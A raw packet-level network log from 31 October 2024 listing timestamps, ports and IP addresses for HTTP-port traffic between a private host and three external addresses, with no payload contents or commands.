Oct 31, 2024 01:19:10.030662060 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030697107 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030764103 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030808926 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030812025 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030821085 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030843019 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030872107 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030886889 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030899048 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030910015 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030921936 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030946970 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.030983925 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.030996084 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031007051 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031017065 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031028986 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031048059 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031064034 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031075954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031085968 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031097889 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031112909 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031125069 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031147003 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031151056 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031167030 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031177998 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031181097 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031192064 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031199932 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031219006 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031220913 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031235933 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031248093 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031255007 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031260967 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031282902 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031286001 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031305075 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031306982 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031326056 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031338930 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031366110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031371117 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031393051 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031404972 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031469107 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031486034 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031502008 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031508923 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031514883 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031527042 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031527996 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031538963 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031544924 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031569958 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031575918 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031600952 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031606913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031618118 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031625986 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031632900 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031645060 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031647921 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031656027 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031667948 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031691074 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031702995 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031717062 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031724930 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031728983 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031739950 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031745911 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031750917 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031764030 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031768084 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031773090 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031796932 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031800032 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031810045 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031819105 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031824112 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031837940 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031847954 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031847954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031860113 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031878948 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031896114 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031900883 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031912088 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031922102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.031935930 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.031956911 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032058954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032071114 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032083988 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032104969 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032133102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032135963 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032145023 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032155037 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032174110 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032191992 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032442093 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032453060 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032488108 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032522917 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032531977 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032566071 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032612085 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032623053 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032634020 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032650948 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032659054 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032670021 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032670975 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032680035 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032702923 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032723904 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032723904 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032772064 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032779932 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032797098 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032808065 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032814980 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032836914 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032847881 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.032850027 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032860994 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.032888889 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033020973 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033039093 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033056974 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033066034 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033067942 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033082008 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033092022 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033109903 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033137083 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033227921 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033241987 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033266068 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033277035 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033278942 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033287048 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033297062 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033299923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033324957 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033353090 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033401012 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033411980 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033422947 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033437967 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033446074 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033457041 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.033461094 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.033490896 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034483910 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034493923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034504890 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034527063 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034540892 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034563065 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034574032 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034581900 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034605980 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034619093 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034622908 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034630060 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034642935 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034651041 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034655094 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034672976 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034693956 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034796000 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034811020 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034822941 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034836054 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034856081 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034868002 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.034873962 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.034904003 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035027027 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035037994 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035048008 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035070896 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035095930 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035644054 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035655975 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035666943 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035681009 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035690069 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035727978 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035782099 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035800934 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035823107 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035829067 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035840034 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035851002 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035856009 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035862923 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035873890 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035881042 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035886049 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035908937 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035919905 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035923004 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035943031 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035948992 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035954952 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035964966 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035973072 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.035983086 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.035994053 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.036000967 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.036011934 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.036020994 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.036024094 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.036032915 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.036057949 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.036084890 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.071208954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.071239948 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.071274042 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.071301937 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.071309090 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.071331024 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.071371078 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.168998003 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169018030 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169030905 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169126034 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169346094 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169403076 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169445038 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169456005 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169466972 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169500113 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169500113 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169512987 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169523954 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169532061 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169534922 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169547081 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169558048 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169559002 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169599056 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169636011 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169651031 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169668913 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169677019 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169698000 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169708967 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169713020 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169719934 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169732094 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169742107 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169744968 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169770002 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169787884 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169792891 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169802904 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169814110 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169836044 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169859886 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169859886 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169872046 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169889927 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169899940 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169902086 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169915915 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169935942 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.169935942 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169949055 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169975996 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.169981956 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.170022964 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.172746897 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172758102 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172804117 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.172920942 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172931910 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172944069 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172971010 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.172982931 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.172996044 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.173001051 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.173028946 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.173047066 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.173090935 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:10.173109055 CET	80	49993	41.216.183.61	192.168.2.6
Oct 31, 2024 01:19:10.173161030 CET	49993	80	192.168.2.6	41.216.183.61
Oct 31, 2024 01:19:12.512284994 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:12.512609959 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:12.517427921 CET	80	49994	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:12.517503977 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:12.517555952 CET	80	49992	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:12.517604113 CET	49992	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:12.580622911 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:12.585474968 CET	80	49994	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:13.436619997 CET	80	49994	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:13.436734915 CET	49994	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:13.442049980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:13.446890116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:13.446989059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:13.447128057 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:13.452171087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716202974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716242075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716276884 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716279030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.716286898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716299057 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716315031 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716315031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.716325045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.716331005 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716375113 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.716379881 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716392994 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716403961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.716418982 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.716439009 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.721189976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.721208096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.721265078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.721298933 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.721322060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.721333981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.721359015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.721374989 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.873625040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873644114 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873655081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873776913 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:14.873819113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873828888 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:14.873858929 CET	49995	80	192.168.2.6	185.215.113.16
